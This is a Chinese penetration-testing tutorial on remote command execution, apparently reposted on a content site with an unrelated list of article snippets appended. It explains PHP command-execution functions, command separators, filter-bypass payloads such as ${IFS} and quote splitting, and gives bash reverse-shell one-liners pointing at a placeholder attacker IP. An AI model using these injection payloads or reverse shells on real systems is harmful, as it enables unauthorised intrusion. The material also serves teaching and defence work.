渗透测试之RCE漏洞

RCE(remote command execute)远程命令执行。应用程序的某些功能需要调用可以执行的系统命令的函数,如果这些函数或者函数的参数被用户控制,就可能通过命令连接符将恶意的命令拼接到函数中,从而执行系统命令。

常见的命令执行函数

system 执行系统命令 执行命令并显示输出 相当于在windows下控制cmd 在Linux下/bin/bash和/bin/sh这时linux系统下两个不同的终端

exec 执行系统命令 执行命令但不输出

shell_exec 执行系统命令,但不进行输出,输出结果以完整的字符串返回

passthru 执行系统命令,原样输出结果,没有返回值

eval()、assert()将括号内的内容按照php代码执行

常见的Windows系统下的命令连接符

& 符号前面的语句为假,则执行符号后的语句;若符号前面的语句为真,则符号前后语句都执行

&& 符号前面的语句为假,则直接报错不执行符号后的语句;若符号前面的语句为真,则符号前后的语句都执行

| 符号前的语句为假,则语句报错后面的语句不执行;若符号前面的语句为真,则执行符号后语句

|| 符号前面语句为假,则执行符号后面的语句;若符号前面的语句为真,则执行符号前的语句

常见的Linux系统下的命令连接符

& 符号前面的语句为假,则执行符号后的语句;若符号前面的语句为真,则符号前后语句都执行

&& 符号前面的语句为假,则直接报错不执行符号后的语句;若符号前面的语句为真,则符号前后的语句都执行

| 不论符号前的语句真假,都会执行符号后面的语句,当符号前面的语句为真时,会执行前面的语句但不输出,会将结果传给符号后面的语句 如:netstat -pantu | grep 22 可以对端口进行筛选输出

|| 符号前面语句为假,则执行符号后面的语句;若符号前面的语句为真,则执行符号前的语句

命令按顺序执行

命令执行绕过

1、空格被过滤

在老版本中可以使用${IFS}、${IFS}$9、$IFS$9代替空格、通过{cat,file}代替 cat file

在新版本中使用<>或<代替空格

2、关键字被过滤

在老版本中,通过赋值的方式绕过 a=c;b=a;c=t;$a$b$c file1(cat file1)

在新版本中,c'a't<>file1

远程命令执行漏洞实例

1、找到一个执行系统命令的点

2、这个点可以执行的系统命令只有ping,可以通过命令的连接符来插入恶意的系统命令。

常见的反弹shell

在Linux系统下 连接到攻击者的主机(前提攻击者需要提前在端口上进行监听)

bash -i >& /dev/tcp/攻击者ip/攻击者端口 0>&1 

将终端通过tcp的方式交给攻击者ip的指定端口,攻击者主机此时可以拿到shell

/bin/bash -i >& /dev/tcp/攻击者ip/攻击者端口 0<& 2>&1

bash -c "/bin/bash -i >& /dev/tcp/攻击者ip/攻击者端口 0>&1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2806277.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

ffmpeg深度学习滤镜

环境搭建 安装显卡驱动 当前所用显卡为NVIDIA的P6000,在英伟达的官网上查看对应的驱动, 下载NVIDIA-Linux-x86_64-535.104.05.run并安装。 sudo ./NVIDIA-Linux-x86_64-535.104.05.run 安装成功后用nvidia-smi命令后查看 安装的cuda版本不能超过12.2,选择安装cuda11.8。…

CloudFlare免费内网穿透

介绍 Cloudflare Tunnel是Cloudflare零信任网络的一个产品&#xff0c;用于打通企业、员工、设备之间的边界&#xff0c;从而摒弃掉VPN之类的过时技术&#xff08;其实也不是过时&#xff0c;只不过是相对来说安全性、可控性较差&#xff09; 通过Cloudflare Tunnel&#xff0c…

AOSP10 替换系统launcher

本文实现将原生的launcher 移除&#xff0c;替换成我们自己写的launcher。 分以下几个步骤&#xff1a; 一、新建一个自己的launcher项目。 1.直接使用android studio 新建一个项目。 2.修改AndroidManifest.xml <applicationandroid:persistent"true"androi…

腾讯文档(excel也一样)设置单元格的自动行高列宽

1. 选中单元格 可选择任意一个或者几个 2. 设置自动 行高和列宽 即可生效

ubuntu22.04@Jetson Orin Nano之OpenCV安装

ubuntu22.04Jetson Orin Nano之OpenCV安装 1. 源由2. 分析3. 证实3.1 jtop安装3.2 jtop指令3.3 GPU支持情况 4. 安装OpenCV4.1 修改内容4.2 Python2环境【不需要】4.3 ubuntu22.04环境4.4 国内/本地环境问题4.5 cudnn版本问题 5. 总结6. 参考资料 1. 源由 昨天用Jetson跑demo程…

【加密周报】中美非“出手”压制比特币?以太坊飙涨震醒沉睡8年巨鲸!“AI热潮”刺激相关代币集体拉涨!

回顾本周&#xff0c;中美非三国出现压制加密货币行动&#xff0c;比特币空头暂获胜利&#xff0c;币价最低触及50521美元。以太币表现跑赢比特币&#xff0c;牛市回归下震醒沉睡8年的ICO巨鲸。美国人工智能(AI)热潮下&#xff0c;刺激世界币(Worldcoin)突破历史新高&#xff0…

BlackberryQ10 是可以安装 Android 4.3 应用的,Web UserAgent 版本信息

BlackberryQ10 是可以安装 Android 4.3 应用的 最近淘了个 Q10 手机&#xff0c;非常稀罕它&#xff0c;拿着手感一流。这么好的东西&#xff0c;就想给它装点东西&#xff0c;但目前所有的应用都已经抛弃这个安卓版本了。 一、开发环境介绍 BlackBerry Q10 的 安卓版本是 4.…

智慧应急的未来:物联网技术引领智慧应急发展新趋势

一、引言 随着社会的快速发展&#xff0c;各类突发事件频繁发生&#xff0c;对社会的安全稳定构成了严重威胁。传统的应急管理模式已难以满足现代社会对安全保障的需求&#xff0c;急需探索新型的应急管理手段。在这个背景下&#xff0c;智慧应急应运而生&#xff0c;以其高效…

C语言:指针(一)

目录 1.内存和地址2. 指针变量和地址2.1 取地址操作符&#xff08;&&#xff09;2.2 指针变量和解引用操作符&#xff08;*&#xff09;2.2.1 指针变量2.2.2 解引用操作符&#xff08;*&#xff09; 2.3 指针变量的大小 3.指针变量的类型和意义3.1 指针的解引用3.2 指针 -指…

4.寻找两个正序数组的中位数

题目&#xff1a;给定两个大小分别为 m 和 n 的正序&#xff08;从小到大&#xff09;数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。 解题思路&#xff1a;用二分法查找。使用归并的方式&#xff0c;合并两个有序数组&#xff0c;得到一个大的有序数组。大的…

Tomcat信创平替之TongWEB(东方通),安装步骤

我的系统: 银河麒麟桌面系统V10(SP1) 开局先吐槽一下(当然国产也是需要大量时间与金钱的投入),感觉国产软件进入死循环:国家推动国产→国产收费→还要钱?→用国外开源→国产无发普及→靠国家推动 正题: 1.先进入东方通申请使用 2.客服会发送一个TongWEB包与license.dat给你…

匿名+有名管道

管道 相关概念 4种情况 正常情况&#xff0c;如果管道没有数据&#xff0c;读端陷入等待&#xff0c;直到有数据才能唤醒正常情况&#xff0c;如果管道被写满&#xff0c;写端陷入等待&#xff0c;直到有空间才能唤醒写段关闭&#xff0c;读端一直读取&#xff0c;read返回0…

【YOLO v5 v7 v8 小目标改进】归一化高斯 Wasserstein 距离(NWD损失函数)

归一化高斯 Wasserstein 距离&#xff08;NWD损失函数&#xff09; 提出背景归一化Wasserstein距离效果 YOLO v5 小目标改进YOLO v7 小目标改进YOLO v8 小目标改进 提出背景 论文&#xff1a;https://arxiv.org/pdf/2110.13389.pdf 代码&#xff1a;https://github.com/jwwan…

YOLOv5算法进阶改进(16)— 更换Neck网络之GFPN(源自DAMO-YOLO)

前言:Hello大家好,我是小哥谈。GFPN(Global Feature Pyramid Network)是一种用于目标检测的神经网络架构,它是在Faster R-CNN的基础上进行改进的,旨在提高目标检测的性能和效果。其核心思想是引入全局特征金字塔,通过多尺度的特征融合来提取更丰富的语义信息。具体来说,…

PostgreSQL教程(十):SQL语言(三)之查询

一、概述 从数据库中检索数据的过程或命令叫做查询。在 SQL 里SELECT命令用于指定查询。 SELECT命令的一般语法是 [WITH with_queries] SELECT select_list FROM table_expression [sort_specification] 下面几个小节描述选择列表、表表达式和排序声明的细节。WITH查询等高级特…

3_怎么看原理图之协议类接口之I2C笔记

I2C只连接I2CSCL与I2CSDA两根线&#xff0c;即2线制异步串行总线。 I2CSCL与I2CSDA两根线需要上拉电阻&#xff0c;目的是让电平有确定的状态。 发完8bit数据后&#xff0c;第9个电平拉低SDA为低电平。 比如传一个数据A0x410100 0001 IIC总线有多个从机设备的通信&#xff0c…

数理统计的基本概念

文章目录 前提概念性质常用的统计量 前提概念 与概率论的区别&#xff0c;他是基于实际数据的&#xff0c;但是概率是理论计算的结果。 总体&#xff1a;与所研究问题相关的对象的全体。 样本&#xff1a;按照一定的规定&#xff08;每个个体被抽中的概率相同&#xff09;&…

C 嵌入式系统设计模式 11:观察者模式

本书的原著为&#xff1a;《Design Patterns for Embedded Systems in C ——An Embedded Software Engineering Toolkit 》&#xff0c;讲解的是嵌入式系统设计模式&#xff0c;是一本不可多得的好书。 本系列描述我对书中内容的理解。本文章描述访问硬件的设计模式之四&…

【MATLAB】 EWT信号分解+FFT傅里叶频谱变换组合算法

有意向获取代码&#xff0c;请转文末观看代码获取方式~ 展示出图效果 1 EWT分解算法 EWT分解算法是一种基于小波变换的信号分解算法&#xff0c;它可以将信号分解为一系列具有不同频率特性的小波分量。该算法的基本思想是将信号分解为多个不同尺度的小波分量&#xff0c;并对…

【Vue3】学习computed计算属性

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…